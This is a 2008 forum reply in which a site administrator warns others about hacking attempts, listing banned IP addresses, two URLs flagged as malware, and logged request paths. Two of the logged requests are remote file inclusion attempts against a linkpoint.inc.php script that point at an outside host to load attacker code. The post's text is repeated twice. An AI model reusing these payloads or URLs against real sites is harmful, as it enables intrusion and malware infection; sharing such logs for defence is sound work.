![]() | Join Date: Oct 2008 | iTrader: (0) |
Re: Be Careful of this Hacker!
There's something going on.
Today I noticed a similar thing in WOL
the requests all ended with idr.txt? and I traced them back to two sites
Warning ESET blocked both below = virus
http://www.gosgo.com/bbs/idr.txt
http://elvisjunior.com/images/
Four IP's banned this morning, all using the above request ending with idr.txt
116.126.143.88
121.125.68.104
61.247.211.10
83.3.114.18
also these two this morning
Uknown location
/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://shalonprice.com/cmsAdmin/uploads/thumb/bo.do?
Uknown location
/forums/hardware-building-modding-news/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://shalonprice.com/cmsAdmin/uploads/thumb/bo.do?
host.hansahn.com -> 67.225.197.237
HTH
Today I noticed a similar thing in WOL
the requests all ended with idr.txt? and I traced them back to two sites
Warning ESET blocked both below = virus
http://www.gosgo.com/bbs/idr.txt
http://elvisjunior.com/images/
Four IP's banned this morning, all using the above request ending with idr.txt
116.126.143.88
121.125.68.104
61.247.211.10
83.3.114.18
also these two this morning
Uknown location
/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://shalonprice.com/cmsAdmin/uploads/thumb/bo.do?
Uknown location
/forums/hardware-building-modding-news/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://shalonprice.com/cmsAdmin/uploads/thumb/bo.do?
host.hansahn.com -> 67.225.197.237
HTH
Last edited by agitated; 10-19-2008 at 08:21 AM.. Reason: typo








Linear Mode
